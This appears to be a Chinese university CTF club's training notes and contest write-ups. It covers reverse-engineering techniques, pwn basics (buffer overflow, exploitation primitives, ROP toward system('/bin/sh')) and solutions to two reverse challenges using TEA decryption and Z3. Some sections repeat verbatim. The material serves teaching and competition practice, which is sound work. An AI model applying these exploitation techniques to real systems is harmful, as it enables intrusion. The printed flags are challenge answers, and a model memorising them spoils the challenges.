    • __fastcall:为加速调用而生的调用约定,将第1个参数放在ECX中,将第2个参数放在EDX中,然后将后续的参数从右至左压入栈中。
  • x86 64位架构的调用约定
    • Microsoft x64位(x86-64)调用约定:在Windows上使用,依次将前4个参数放入RDI、RSI、RDX、RCX这4个寄存器,然后将剩下的参数从右至左压入栈中。
    • SystemV x64调用约定:在Linux、MacOS上使用,比Microsoft的版本多了两个寄存器,使用RDI、RSI、RDX、RCX、R8、R9这6个寄存器传递前6个参数,剩下的从右至左压栈

第一批实战

crypto


代码保护


自修改

在运行时修改自身代码,从而使得程序实际行为与反汇编结果不符,同时修改前的代码段数据也可能非合法指令,从而无法被反汇编器识别。


花指令

花指令(junk code)是一种专门用来迷惑反编译器的指令片段,这些指令片段不会影响程序的原有功能,但会使得反汇编器的结果出现偏差,从而使破解者分析失败。比较经典的花指令技巧有利用 jmp 、call、ret 指令改变执行流,从而使得反汇编器解析出与运行时不相符的错误代码。


附件中有手动脱壳教程 [附件]](#附件下载)

把代码藏在数据里,运行时再解密/解压到代码段(这个segment也是现场创建的)

做题时建议用工具,不要手动脱,这边演示一下win和linux的upx。

但研究原理的时候建议手动试一下

windows: scylla
linux: coredump(echo 0xff > /proc/self/coredump_filter才能dump完整内存)

工具脱:

upx -d [filename]

虚拟机

虚拟机就是要去模仿一个机器,让机器去执行一个程序
一般包括指令序列、存储(堆栈、寄存器)
https://bbs.kanxue.com/thread-267670.htm


混淆

把代码变成狗看了都摇头的样子。


ollvm

最直观的变化是控制流平坦化,但其实还有别的功能(虚假控制流,指令替换)。
https://github.com/cq674350529/deflat
https://oacia.dev/ollvm-study/
ollvm


movfuscator

工具:https://github.com/leetonidas/demovfuscator

push

push

反调试


第二波实战


高级技巧


Hook

Hook 是在指令的关键位置插入特定代码,以干预程序原有的执行流程,实现拦截目标进程运行过程的关键信息改变目标进程原本执行流程等目的。

题目3中的TraceMe和hooking.js是使用frida框架的例子


约束求解

Z3 是一个微软出品的开源约束求解器,能够解决很多种情况下的给定部分约束条件寻求一组满足条件的解的问题。

from z3 import *

x = Int('x')
y = Int('y')
solve(x > 2, y < 10, x + 2*y == 7) 

z3.ipynb和题目3:useZ3


符号执行

符号执行就是在运行程序时,用符号来替代真实值,目的(可以)是探究通过各种分支最终抵达某个程序状态的条件。符号的概念更接近于(对某个寄存器/某段内存的)一组约束,而不是具体的值。

笔记(angr)和题目3:angr_ctf

Pwn 介绍

欢迎交流 二进制交流群:OTc4OTY2NDI2 (使用了常用算法进行编码) (听说有人猜不出这是base64?)
不论入群问题是什么,请一律回答"NEX"

pwn方向专注于破坏程序正常运行,并引导程序完成一些非法操作。这也就意味着你需要对程序的运行有足够的了解。你才能精确地修改程序原本正常的执行流程。

在pwn的世界中,我们会更关注程序运行的底层逻辑。这也就意味着你需要:

  1. 学习汇编语言来读懂程序(逆向部分)
  2. 学习如何与程序进行沟通(比如使用python的pwntools库)
  3. 学习语言相关的标准库代码
  4. 学习操作系统来了解程序具体是怎么被运行的[Pwn 程序执行流程]

对于不懂的知识你需要使用搜索引擎(尽量使用谷歌,尽量不要使用百度)

一些资料

hzz的pwn ppt

附件

下一章节: Pwn —— 内存映射

Pwn 介绍

欢迎交流 二进制交流群:OTc4OTY2NDI2 (使用了常用算法进行编码) (听说有人猜不出这是base64?)
不论入群问题是什么,请一律回答"NEX"

pwn方向专注于破坏程序正常运行,并引导程序完成一些非法操作。这也就意味着你需要对程序的运行有足够的了解。你才能精确地修改程序原本正常的执行流程。

在pwn的世界中,我们会更关注程序运行的底层逻辑。这也就意味着你需要:

  1. 学习汇编语言来读懂程序(逆向部分)
  2. 学习如何与程序进行沟通(比如使用python的pwntools库)
  3. 学习语言相关的标准库代码
  4. 学习操作系统来了解程序具体是怎么被运行的[Pwn 程序执行流程]

对于不懂的知识你需要使用搜索引擎(尽量使用谷歌,尽量不要使用百度)

一些资料

hzz的pwn ppt

附件

下一章节: Pwn —— 内存映射

Pwn 内存映射

程序是有结构的,在windows系统上,可执行程序是PE文件结构(后缀.exe),在linux系统上,可执行程序是elf文件结构(通常没有后缀)

alt text

图的左侧是程序存储在磁盘中的排列格式,当程序被加载,右边就是程序在内存中的形式。右边的结构相当重要。

关于elf文件结构不需要了解太多,当涉及到相关知识点可以搜索

右图从高地址到低地址依次是:

  1. 内核空间
  2. 程序栈空间
  3. 动态链接库
  4. 堆空间
  5. 程序数据段
  6. 程序代码段

每个部分都有访问权限,比如程序代码段不可写,但可读可执行;程序栈空间可读可写,但不可执行。

程序运行的局部变量存储于程序栈空间,全局变量存储于程序数据段,程序代码位于代码段,动态分配的空间在堆空间。程序的函数调用关系会存储在程序栈空间。

基于此,我们可以思考如何破坏一个程序。例如一次不限制数据的读入,如果数据存储位置在栈,那么栈上原本正常的数据就会被覆盖,从而造成程序错误。如果数据存储位置在堆空间或者数据段,同样有可能覆盖原本正常的数据。

设想当一个指针被覆盖,那么它可以被指向任何地方,程序后续在使用该指针的时候就会发生某些错误。

下一章节: Pwn —— 漏洞与利用

Pwn 漏洞与利用

著名漏洞以及成因

  1. 缓冲区溢出漏洞(无限制的写入导致程序栈上原本正常的数据被覆盖)
  2. 整数溢出漏洞(对输入数字的大小进行了错误的判断)
  3. 格式化字符串漏洞(scanf/printf系列函数可自定义格式化字符串)
  4. 堆溢出漏洞(无限制的写入导致堆空间中原本正常的数据被覆盖)
  5. UAF(野指针)(释放掉动态分配的空间后,未将指针归零,后续又使用该指针)

这些漏洞可以用来构造利用原语[Exploitation Primitives]:

  1. 任意地址读Arbitrary Read
  2. 任意地址写Arbitrary Write
  3. 任意函数调用Arbitrary Call

任意地址读可以泄露程序的关键信息(程序代码地址,链接库地址,敏感信息...),这些信息配合任意地址写,可以构成任意函数调用。有了这三个原语,程序基本上就处于我们的控制之下了,我们想利用程序完成什么操作,就调用对应函数就可以了。

在CTF比赛中,你需要控制程序去读flag文件

针对原语的利用又有不同手法,比如exit_hook,FileStructure,改GOT表...

有些漏洞直接就可以拿到任意函数调用原语,比如缓冲区溢出漏洞,可以使用ROP的方式调用函数。有些漏洞不能,比如堆上的漏洞(UAF/堆溢出),通常你需要获取任意地址写之后才能获得任意函数调用

比如说,当你通过覆盖正常的指针,获得了一个任意地址写

程序允许你向该指针指向的内容中写数据,本来该指针指向的位置是正常的。在你覆盖它原本的数据为A后,它就指向A。这也就意味着你可以往A处写数据。

并且修改掉了main函数的返回地址为B函数地址后,main函数执行完毕返回,就不会回到C标准库了,而是返回到了B函数,并执行B函数的内容。如果B函数是system函数,那么也就意味着,你可以执行任意命令。


在理解了程序是如何被破坏的,以及如何被引导完成非法操作之后(不太能理解也没关系)。现在你可以百度搜索或bilibili搜索[pwn入门]开始正式的学习了。但是进阶的知识你就会需要使用谷歌了,百度只能让你入门。

下一章节: Pwn —— 调用约定

Pwn 程序执行流程

刚入门的同学可以看一眼就过,入门不会涉及太多,随着学习的深入,对各个部分都会有了解的。

一个程序从源代码到运行,需要经历很多步骤:

编写源代码->编译->汇编->链接->装载->运行

链接部分执行完毕后,你将得到一个可执行程序(关于这些部分都干了什么,详见编译原理课程)

装载运行流程如下:

alt text

  1. 在linux控制台程序[bash]中输入./hello
  2. bash会调用fork函数,并执行一个名为sys_execve的系统调用。
  3. 此时发生软中断,CPU转到内核空间执行中断程序do_execve,将程序加载到内存中
  4. 中断恢复,程序控制权交给装载器ld,由装载器执行后续的操作
  5. 装载器初始化,并动态链接C标准库,然后跳到程序入口点_start
  6. 运行C标准库中的初始化函数
  7. 初始化完毕,C标准库调用main函数

后续:

  1. main函数返回到C标准库
  2. C标准库使用系统调用sys_exit
  3. 此时发生软中断,CPU转到内核空间执行中断程序do_exit,将程序卸载

Pwn 调用约定

我们往往需要做一些约定,来确保团队开发中各类接口统一,使得不同的功能模块能够被正确地调用。

举个例子来说,小明开发了一个功能,并将其包装成了一个函数。而小李需要正确地使用这个功能。于是他们商量并确定了这个函数的名字,如何传参,函数返回什么。

我们能够看到有各种各样的"约定":API接口规范,各种网络协议,总线协议……

在这里,我们讨论在汇编语言层面的一类重要的约定:调用约定

调用约定规定了一个函数应该如何传参,如何调用与被调用,如何返回,调用者和被调用者应该如何维护栈以及寄存器的数据。

调用者依据调用约定设置寄存器以及栈,确保传入参数正确,被调用者依据调用约定取出参数,设置返回数据。

一般来说,CTF中(x86/x64 linux)常用的是syscall, fastcall, cdecl调用约定,syscall用于使用x64系统调用,fastcall用于x64函数调用,cdecl是x86下默认的C语言调用约定。

需要注意的是,windows下的fastcall和linux下的fastcall不太一样。具体需要查手册。

更多的调用约定详见:google [调用约定]

linux调用约定:https://www.cnblogs.com/liert/p/17353566.html

windows调用约定:https://learn.microsoft.com/zh-cn/cpp/build/x64-calling-convention

在比赛中,我们需要控制程序设置好不同的参数,以正确调用不同的函数。在此之前,你还需要学习栈帧。

下一章节: Pwn —— 栈帧

Pwn 栈帧

google关键词 [栈帧] [stack frame]

一些资料:

https://medium.com/@sruthk/cracking-assembly-stack-frame-layout-in-x64-75eb862dde08

https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64

在以上资料中,你可以学习到有关栈帧的知识,应当试图理解以下要点。

  1. 如何使用调用约定传参
  2. 如何使用rbp寄存器检索栈上的局部变量和参数
  3. 如何使用栈帧来维护调用关系

除此之外,还有两个要点。

  1. 栈向下生长
  2. 数据向上依次写入

还记得内存映射这一张的图吗?看看栈顶和栈底都在哪里?

显而易见,栈底在高地址而栈顶在低地址。因此栈push的时候,栈就会向下“生长”。而数据是从低地址写到高地址的,即“向上依次写入”。同时还有字节序的要求(小端序/大端序,通常是小端序)


下面可以结合资料思考一下,函数的返回地址存在栈帧的哪个位置?思考如果数据可以无限制地向上写入,又是否会修改掉这个返回地址。

最终你会发现了在栈溢出漏洞是如何毁掉栈帧,并控制程序跳转到任意想要执行的函数地址中去的。但是光能跳过去还不够,你想要调用的函数还需要一些参数,那么如何设置这些参数?

下一章节: Pwn —— ROP技术

Pwn ROP技术

ROP技术是pwn的入门技术,也是很多入门题的出题方向。因此你能够看到海量的资料。想要学习到这个技术,你甚至不需要google搜索。

大部分的资料会告诉你如何做题,但是涉及具体的原理,你需要结合之前的章节来理解。

推荐资料:

https://hello-ctf.com/HC_PWN/Stack_Overflow

https://pwn.college/software-exploitation/return-oriented-programming

关于这部分,你可以使用各种搜索引擎搜索[pwn ROP],并尝试理解以下要点:

  1. 什么是gadget
  2. gadget会在哪里出现
  3. 如何使用gadget
  4. 什么是ROP链
  5. 结合调用约定思考他们是如何调用system('/bin/sh')的

为什么要办?

近几年,校内和 CTF 相关的比赛只有 2021 年由东北大学信网办主办的“2021 年东北大学网络安全挑战赛”,如果大家有翻过办事服务大厅,可以看到这个比赛的报名入口还在那摆着。这个比赛当时是由某企业出题,出题质量不尽如人意,且我作为当时的新生,貌似对这个比赛没啥印象,直到大三才知道。

从多年前开始,NEX 就作为协办方参与 Hackergame,此前一直是由“先锋网络部”协办的。一直以来,我们都以 Hackergame 作为招新赛,但遇到了以下问题:

  1. 得不到官方支持,比赛宣传力度不足,新生参与较少;

  2. 难度过高,大部分题目都比较专业,对零基础不太友好,若提前进行授课培训等,课程参与度肯定会非常低;

  3. 活动证明只有软院团委的章,其它学院不认。

基于以上,所引起的最严重问题是,新人补充严重不足,这将极大限制 NEX 的未来发展。因此,我们从 Hackergame 2023 结束后就开始设想举办一次校内 CTF 竞赛,以此来提前吸引更多同学的参与。

怎么办?

我们参考过网上比较热门的 CTF 平台,但这些平台无一例外地都是一次性的,我们希望能够把题目保存下来,以供后面的同学学习,也希望能够和课程联动,同学们参与一场又一场的比赛,能够看到自己过往一次又一次的进步。

因此,我们决定开发自己的平台。该平台从四五月份开始开发,期间由于找实习等一系列事情没啥时间,大多功能还是集中在六七月份实习时下班之后做的。最终在八月初,系统上线,开了两场内部的暑期练习赛来做测试,一路上的缝缝补补总算完工了。

开学初,我们经过多方联系,本比赛最终由创新创业学院、软件学院主办,NEX 承办。该比赛原定 9 月下旬举办,但因为时间有些赶,最终延到了 10.18 举办。出题历经一个月,非常感谢各出题人的积极贡献,也非常感谢各验题人的参与!

办得怎么样?

本次比赛有提交记录的共 178 人,其中新生 53 人,非新生 125 人,新生占比挺高,这给我们带来了极大的激励。并且,在这其中,还有一些新生在总赛道排行榜中也能名列前茅,非常牛逼。

我们统计了赛中各个时段开启的容器数量,最高峰时同时下发了 115 个容器。而且,我们发现,有部分选手在凌晨时都还在做题,有点过于刻苦了(

图片 比赛结束前 2 小时,我们发布了问卷,共收到了 136 份答复。总体评价 9.38、参与度 7.88、趣味性 8.34、教学意义 7.99,感谢各位选手给予了出题组较高的评级。

img

img

感谢大家的支持与鼓励!

同时,我们也收到了许多选手的自定义评价,总结为以下几类:

  1. 称赞

  2. 赛程太长,太累 / 赛程太短,没时间学习

  3. 对纯新手还是有点难

  4. 题目数量过多、题型过少

我们会吸取教训,争取下一次把比赛办得更好的!

未来?

也许我们会在下学期再次举办一场比赛,也许会和其他学校联合举办一场比赛,敬请期待吧!

【简单】从零开始的 CPP 生活

送分题,.GetFlag()就出来了

【简单】从零开始的 CPP 生活

送分题,.GetFlag()就出来了

【简单】从零开始的 CPP 生活

送分题,.GetFlag()就出来了

【中等】开源逆向题喵

有人在wp说我写的c++代码比汇编还难懂,还不如不开源,对此我表示强烈抗议。

总体是用Dear ImGui画的窗口,背景的flag是一堆方形像素,前面的按钮是ImGui的控件。

两种方法:

  • 把保存像素颜色的数组提取出来,然后自己画一个

自己画一个

  • 把挡住flag的按钮删掉

按钮

【困难】Python 茶话会

我看 wp ,好多 GPT ,好吧我承认这个题目 GPT 确实可以秒杀,其实我就是想和大家介绍一个在 CTF 中很常见的算法—— TEA。

本题是 TEA 家族中最简单的,原滋原味,如果你想要知道更多,可以去了解一下 XTEA 和 XXTEA 。

题目给了一个 pyd 文件,和一个出题人的友善的 md 提示文件(为了减低难度)。

第一步,pyd 反编译,可以用 pycdc,当然,用在线的网站也可以 在线Python pyc文件编译与反编译

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

from ctypes import c_uint32
encrypted_flag = [
    1887071573,
    1987092183,
    528573895,
    0xAAD682E7L,
    1514065471,
    1557533937,
    2022731508,
    0xC695EC0EL,
    0xFF36F6EAL,
    0xE7B3EC45L,
    2120747857,
    0xE5D2379DL]

def str_to_ints(s):
    return (lambda .0 = None: [ int.from_bytes(s[i:i + 4].encode(), 'little', **('byteorder',)) for i in .0 ])(range(0, len(s), 4))


def ints_to_str(ints):
    return ''.join((lambda .0: [ int.to_bytes(i, 4, 'little', **('length', 'byteorder')).decode() for i in .0 ])(ints))


def encrypt(v, k):
    v0 = c_uint32(v[0])
    v1 = c_uint32(v[1])
    sum_val = c_uint32(0)
    delta = c_uint32(289739793)
    (k0, k1, k2, k3) = (c_uint32(k[0]), c_uint32(k[1]), c_uint32(k[2]), c_uint32(k[3]))
    for _ in range(32):
        sum_val.value += delta.value
        v0.value += (v1.value << 4) + k0.value ^ v1.value + sum_val.value ^ (v1.value >> 5) + k1.value
        v1.value += (v0.value << 4) + k2.value ^ v0.value + sum_val.value ^ (v0.value >> 5) + k3.value
    return [
        v0.value,
        v1.value]


def check_flag(text):
    if len(text) % 8 != 0:
        return False
    text_ints = None(text)
    encrypted_ints = []
    for i in range(0, len(text_ints), 2):
        pair = encrypt([
            text_ints[i],
            text_ints[i + 1]], key)
        encrypted_ints.extend(pair)
    return encrypted_ints == encrypted_flag

if __name__ == '__main__':
    print('👋 Welcome to the Tea Party! ☕️')
    print("💡 Hint: Remember to bring your own 'tea' to the party! 🫖 👩‍🍳")
    print('👉 Please enter your secret tea recipe:')
    user_input = input()
    print('🔍 Let me check your secret tea recipe...')
    key = [
        305419896,
        0x9ABCDEF0L,
        0xFEDCBA98L,
        1985229328]
    if check_flag(user_input):
        print("🎉 Your tea recipe is correct! You're the Tea Master now! 🏆")
    else:
        print("😔 Oops! It seems like you've brought the wrong blend. Try again? ☕️")

反编译有问题的地方,用出题人给的提示,加一点点 python 的经验(如果你想看python的字节码也不是不行),可以恢复为如下的代码:

from ctypes import c_uint32

encrypted_flag = [
    1887071573, 1987092183, 
    528573895, 2866184935, 
    1514065471, 1557533937, 
    2022731508, 3331714062, 
    4281792234, 3887328325, 
    2120747857, 3855759261
]

# 将字符串转换成整数
def str_to_ints(s):
    return [int.from_bytes(s[i:i+4].encode(), byteorder='little') for i in range(0, len(s), 4)]

# 将整数转换回字符串
def ints_to_str(ints):
    return ''.join([int.to_bytes(i, length=4, byteorder='little').decode() for i in ints])

# 加密函数
def encrypt(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    sum_val = c_uint32(0)
    delta = c_uint32(0x11451411)
    k0, k1, k2, k3 = c_uint32(k[0]), c_uint32(k[1]), c_uint32(k[2]), c_uint32(k[3])
    for _ in range(32):
        sum_val.value += delta.value
        v0.value += ((v1.value << 4) + k0.value) ^ (v1.value + sum_val.value) ^ ((v1.value >> 5) + k1.value)
        v1.value += ((v0.value << 4) + k2.value) ^ (v0.value + sum_val.value) ^ ((v0.value >> 5) + k3.value)
    return [v0.value, v1.value]

# 检查函数
def check_flag(text):
    if len(text) % 8 != 0: return False
    # 将text转换成整数
    text_ints = str_to_ints(text)
    # 对每个整数进行加密
    encrypted_ints = []
    for i in range(0, len(text_ints), 2):
        pair = encrypt([text_ints[i], text_ints[i+1]], key)
        encrypted_ints.extend(pair)
    return encrypted_ints == encrypted_flag

if __name__ == "__main__":
    print("👋 Welcome to the Tea Party! ☕️")
    print("💡 Hint: Remember to bring your own 'tea' to the party! 🫖 👩‍🍳")
    print("👉 Please enter your secret tea recipe:")
    user_input = input()
    print("🔍 Let me check your secret tea recipe...")
    
    # 定义密钥
    key = [0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210]

    if check_flag(user_input):
        print("🎉 Your tea recipe is correct! You're the Tea Master now! 🏆")
    else:
        print("😔 Oops! It seems like you've brought the wrong blend. Try again? ☕️")

接下来,简单的写一个 TEA 解密脚本就可以了:

from ctypes import c_uint32

encrypted_flag = [1887071573, 1987092183, 528573895, 2866184935, 1514065471, 1557533937, 2022731508, 3331714062, 4281792234, 3887328325, 2120747857, 3855759261]

# 将字符串转换成整数
def str_to_ints(s):
    return [int.from_bytes(s[i:i+4].encode(), byteorder='little') for i in range(0, len(s), 4)]

# 将整数转换回字符串
def ints_to_str(ints):
    return ''.join([int.to_bytes(i, length=4, byteorder='little').decode() for i in ints])

def decrypt(v, k):
    v0, v1 = c_uint32(v[0]), c_uint32(v[1])
    sum_val = c_uint32(0x11451411*32)
    delta = c_uint32(0x11451411)
    k0, k1, k2, k3 = c_uint32(k[0]), c_uint32(k[1]), c_uint32(k[2]), c_uint32(k[3])
    for _ in range(32):
        v1.value -= ((v0.value << 4) + k2.value) ^ (v0.value + sum_val.value) ^ ((v0.value >> 5) + k3.value)
        v0.value -= ((v1.value << 4) + k0.value) ^ (v1.value + sum_val.value) ^ ((v1.value >> 5) + k1.value)
        sum_val.value -= delta.value
    return [v0.value, v1.value]

if __name__ == "__main__":
    key = [0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210]
    decrypted_ints = []
    for i in range(0, len(encrypted_flag), 2): 
        decrypted_ints.extend(decrypt([encrypted_flag[i], encrypted_flag[i+1]], key))
    decrypted_flag = ints_to_str(decrypted_ints)
    print("Decrypted flag:", decrypted_flag)

运行结果:nex{7ime_F0R_@_Tea_PARTY_W1TH_pyth0n_Bytec0de!!}

【困难】智慧学园的召集令

给了一个 exe ,要求输入几个选择题的答案和一个幸运数字,全部正确就可以得到 flag 了。

实际上刚开始我挺害怕真的有资深的老二次元把这个题目全部写对了(毕竟好像不是很难),猜数字的 486 实际上也是非常的明显的(应该吧)。

不过你不是二次元也没有关系,我们可以用 python 反汇编的方法加上 z3 解方程轻松将这一题搞定。

嘀咕:486 还是太小了,我竟然看到有人用爆破的方式,写出了,可恶(早知道用本文中最后一行提到的数字了)。

先把 exe 转为 pyd 文件,提供一个在线网站:PyInstaller Extractor WEB,当然用 pyinstaller 也可以。然后在文件中找到 round3.pyc 文件,用 pycdc 反汇编(或在线网站)。

反编译加上一点点的修改得到的源码:

background = """
在二次元的异世界——幻想界,有着一所名为“智慧学园”的魔法学校。这所学园不仅传授魔法,还教导学生们如何运用现代技术解决各种难题。为了庆祝学园的成立纪念日,校长宣布将举行一场名为“智慧解谜大冒险”的特别竞赛。竞赛的任务是在学园内寻找并收集被魔法保护的二次元魔法碎片。只有解开守护着这些碎片的谜题,才能获得它们。

据传,集齐所有魔法碎片的队伍将能够召唤出传说中的“智慧女神”,她将实现获胜队伍的一个愿望。然而,这些谜题可不是那么容易就能解开的,它们包含了数学与编程的挑战,考验着参赛者的智慧和勇气。

\033[1;36m
【智慧学园的召集令】

尊敬的冒险者们,

欢迎来到智慧学园,在这里,魔法与现代科技相互辉映,创造出独一无二的奇迹。为了庆祝学园的成立纪念日,我们特地举办了“智慧解谜大冒险”竞赛!

任务:集齐所有的二次元魔法碎片,并利用这些碎片召唤出“智慧女神”。
规则:每个谜题都会引导你前往学园的不同地点。解开谜题,收集魔法碎片,最终召唤出“智慧女神”,实现你的愿望!
提示:谜题可能涉及一定的数学、编程知识。准备好你的智慧与勇气,让我们一起踏上这场神奇的旅程吧!

在收集完所有魔法碎片之后,传说中的“智慧女神”将会出现。但是,她会要求你输入一个幸运数字。只有当你所输入的幸运数字与所有魔法碎片的答案完美匹配时,你才能获得最终的宝藏——FLAG!

祝你好运,勇敢的冒险者们!
\033[0m
"""

problem = [
"""
1. 在JOJO 中,空条承太郎的舅舅的母亲是谁?
    A.	丝吉 · Q
    B.	东方朋子
    C.	荷莉·乔斯达
    D.	莉莎莉莎
    E.	艾莉娜·潘德鲁顿
""",
"""
2.下面角色中不全为子安武人配音的是:
    A.	《咒术回战 第二季》 伏黑甚尔 ;《伪恋:》 克劳德;
    B.	《死神》 沛薛·卡迪谢;《银魂》 高杉晋助;
    C.	《JOJO的奇妙冒险:星尘斗士》 DIO;《刀剑神域》 须乡伸之;
    D.	《Re:从零开始的异世界生活》 罗兹瓦尔·L·梅札斯;《夏色奇迹》 佐野贵史;
    E.	《天空战记》 夜叉王盖伊;《海贼王》青雉;
""",
"""
3.在JOJO 中,下面替身与替身面板对应不正确的是(按照 “破坏力”、“速度”、“射程距离”、“持续力”、“精密动作性”、“成长性” ):
    A.	愚者 —— BCDCDC
    B.	灰塔 —— EAACEE
    C.	心锁 —— EEAAEE
    D.	辛红辣椒 —— AAAACA
    E.	紫烟 —— ABCEEC
""",
"""
4.在《葬送的芙莉莲》中,芙莉莲一行人在哪一年再次见到了佛尔爷爷:
    A.	辛逝纪28年
    B.	辛逝纪29年
    C.	辛逝纪30年
    D.	辛逝纪31年
    E.	辛逝纪32年
""",
"""
5.《我的青春恋爱物语果然有问题》中,在初中给企比谷八幡发卡的人被谁喜欢: 
    A.	玉绳
    B.	大冈
    C.	相模
    D.	秦野
    E.	叶山隼人
""",
"""
6.《NO GAME NO LIFE 游戏人生》中,最后击败吉普莉尔用的词汇是:
    A.	暗弱
    B.	强力
    C.	库仑力
    D.	大气层
    E.	氧气
""",
"""
7.下列以御坂美琴的基因为蓝本的克隆体番号与对应事迹不匹配的是:
    A.	20001:最后之作,是御坂网络的管理者,会话时有“御坂XXX地说道”的口癖。和妹妹们不同的是,具有丰富的表情,性格活跃。
    B.	9982:是御坂美琴碰到的第一位妹妹。其与美琴度过了一个如姊妹般美好的下午,并得到了美琴赠送的呱太徽章。
    C.	10031:上条当麻碰到的第一位妹妹。因存在“对姐姐来说御坂是个想予以否定掉的存在”的想法而感到自卑。
    D.	19090:布束砥信在其脑内植入了感情程序,但因最后之作的拦截而导致仅自身拥有更为丰富的感情。
    E.	10050:“绝对能力进化计划”实验破产后被发配危地马拉萨卡帕。
""",
"""
8.青春猪头少年男主与朋绘'击股之交'在哪个公园发生的:
    A.	湘南海岸公园
    B.	七里之滨
    C.	江之岛
    D.	御所之谷公园
    E.	御所之谷桥
""",
"""
9.下列选项中中,不全为世萌萌王的是:
    A.	御坂美琴 五河琴里 
    B.	雷姆 薇尔莉特·伊芙加登 
    C.	千反田爱瑠 夏娜
    D.	雪之下雪乃 立华奏 
    E.	桂雏菊 逢坂大河 
"""
]

print(background)
user_answer = [''] * len(problem)

for i in range(len(problem)):
    print(f'\n\033[1;32m你发现了第{i+1}个碎片:')
    print(problem[i]+'\033[0m')
    # 确保用户输入的答案为A、B、C、D、E中的一个
    user_input = input('请输入你的答案:')
    while user_input not in ['A', 'B', 'C', 'D', 'E']:
        print('\033[1;31m输入有误,请重新输入!\033[0m')
        user_input = input('请输入你的答案:')
    user_answer[i] = user_input
    
print("你发现了所有的碎片,现在需要输入一个幸运数字,智慧女神会验证你所有的输入")
lucky_number_input = input('请输入幸运数字:')
while not lucky_number_input.isdigit() :
    print('\033[1;31m输入有误,请重新输入!\033[0m')
    lucky_number_input = input('请输入幸运数字:')

print("您的所有答案:",end="")
tmp = ""
for i in range(len(user_answer)):
    tmp += user_answer[i] + "_"
tmp += str(lucky_number_input)
print(tmp)
print("\n智慧女神正在验证答案,请稍等...")

a = [ord(i) for i in user_answer]
l = int(lucky_number_input)

import hashlib
if (a[1]*33 + a[2] + a[3]*0xFF + a[4]*5 - a[5]*44 + a[6]*23 + a[7] + a[8] - a[0] == 18086 and
    a[1]*123121 + a[2]*456 + l*0x1145 + a[4]*789 + a[6]*111 + l*222 == 10718690 and
    a[3] * 114514 + a[5] * 1919810 + l * 233 + a[7] * 23333 + a[0] * 66666 == 142285032 and
    a[1]*2 + a[2]*223 + l*4 + a[4]*2123 + a[6]*212 + l*22 - a[8] == 179865 and
    a[1]*3 + a[2]*3  + a[0]*3 + l*3 - a[8]*3 + a[7]*2 == 1996 and
    (a[1] - a[2] + a[3] - a[4] + a[5] + a[6]*89 + a[7] - a[8] + a[0]*89 - l) * 22 == 247258 and 
    (a[1] + 90*a[2] - a[3] + a[4] * a[5] * a[6] + a[7] + a[8] + 90*a[0]) * 245 + l * 2 == 72365152 and
    (a[1] + a[5] + a[6] + a[7] + a[8] + a[0]) * 35 + l * 3 == 15563 and 
    a[1] * a[2] * a[3] * a[4] * a[5] * a[6] * a[7] * a[8] * a[0] * 4 + l == 108583887289363686 and 
    a[1] + a[2]*345 - a[3] + a[4]*24 + a[5]*856 - a[6] - a[7] + a[8]*1212 + a[0] + l*33 == 182318
    ):
    print('\033[1;32m恭喜你,你发现了所有的碎片!\033[0m')
    print('\033[1;32m现在,智慧女神将给予你flag:\033[0m')
    print('nex{'+hashlib.md5(tmp.encode()).hexdigest()+'}')
else:
    print('\033[1;31m很遗憾,你并没有完全正确,请再接再厉!\033[0m')
    print('\033[1;32m悄悄地告诉你,本题需要用到了解 python exe 反汇编以及 ...\033[0m')

看到了这里,相信你已经明了了,里面有一大串的方程,如果你提前得到了部分题目的答案,那么你就可以尝试解方程,得到答案,然后通过这个答案和幸运数字,得到flag。当然,如果你没有提前得到答案,但是得到了方程组,也并不影响用 z3 求解。

from z3 import *

# 定义变量
a = IntVector('a', 9)  # 创建长度为9的整数向量
l = Int('l')  # 创建额外的变量l

# 创建Solver实例
s = Solver()

# 添加方程
s.add(a[1]*33 + a[2] + a[3]*0xFF + a[4]*5 - a[5]*44 + a[6]*23 + a[7] + a[8] - a[0] == 18086)
s.add(a[1]*123121 + a[2]*456 + l*0x1145 + a[4]*789 + a[6]*111 + l*222 == 10718690)
s.add(a[3] * 114514 + a[5] * 1919810 + l * 233 + a[7] * 23333 + a[0] * 66666 == 142285032)
s.add(a[1]*2 + a[2]*223 + l*4 + a[4]*2123 + a[6]*212 + l*22 - a[8] == 179865)
s.add(a[1]*3 + a[2]*3 + a[0]*3 + l*3 - a[8]*3 + a[7]*2 == 1996)
s.add((a[1] - a[2] + a[3] - a[4] + a[5] + a[6]*89 + a[7] - a[8] + a[0]*89 - l) * 22 == 247258)
s.add((a[1] + 90*a[2] - a[3] + a[4] * a[5] * a[6] + a[7] + a[8] + 90*a[0]) * 245 + l * 2 == 72365152)
s.add((a[1] + a[5] + a[6] + a[7] + a[8] + a[0]) * 35 + l * 3 == 15563)
s.add(a[1] * a[2] * a[3] * a[4] * a[5] * a[6] * a[7] * a[8] * a[0] * 4 + l == 108583887289363686)
s.add(a[1] + a[2]*345 - a[3] + a[4]*24 + a[5]*856 - a[6] - a[7] + a[8]*1212 + a[0] + l*33 == 182318)

# 添加约束,使得a[i]只能取值 A 到 E
for i in range(9):
    s.add(a[i] >= ord('A'))
    s.add(a[i] <= ord('E'))

# 求解
result = s.check()

if result == sat:
    m = s.model()
    print("Solution found:")
    solution = {}
    for i in range(9):
        solution[f"a[{i}]"] = chr(m[a[i]].as_long())  # 将数字转换为字符
    print(solution)
    print(f"l = {m[l]}")
else:
    print("No solution.")

运行结果:

{'a[0]': 'B', 'a[1]': 'D', 'a[2]': 'E', 'a[3]': 'B', 'a[4]': 'A', 'a[5]': 'C', 'a[6]': 'A', 'a[7]': 'D', 'a[8]': 'E'}
l = 486

把结果输入回源程序中,得到flag。

智慧女神正在验证答案,请稍等...
恭喜你,你发现了所有的碎片!
现在,智慧女神将给予你flag:
nex{2f5acc1c30ab1174fe649feac9fd110e}

什么?你会得到 flag 但是不会二次元的题目,行吧,看看这个:

  1. JOJO 家谱图: JOJO 家谱图

  2. 子安武人_百度百科: 子安武人_百度百科

  3. 紫烟面板图: 紫烟面板图

  4. 详细见《葬送的芙莉莲》第16集——长寿的朋友。

  5. 《我的青春恋爱物语果然有问题》中,在初中给企比谷八幡发卡的人被玉绳喜欢。 1

  6. 库仑力 看过的都会把,不知道可以看看《游戏人生》,好看捏。

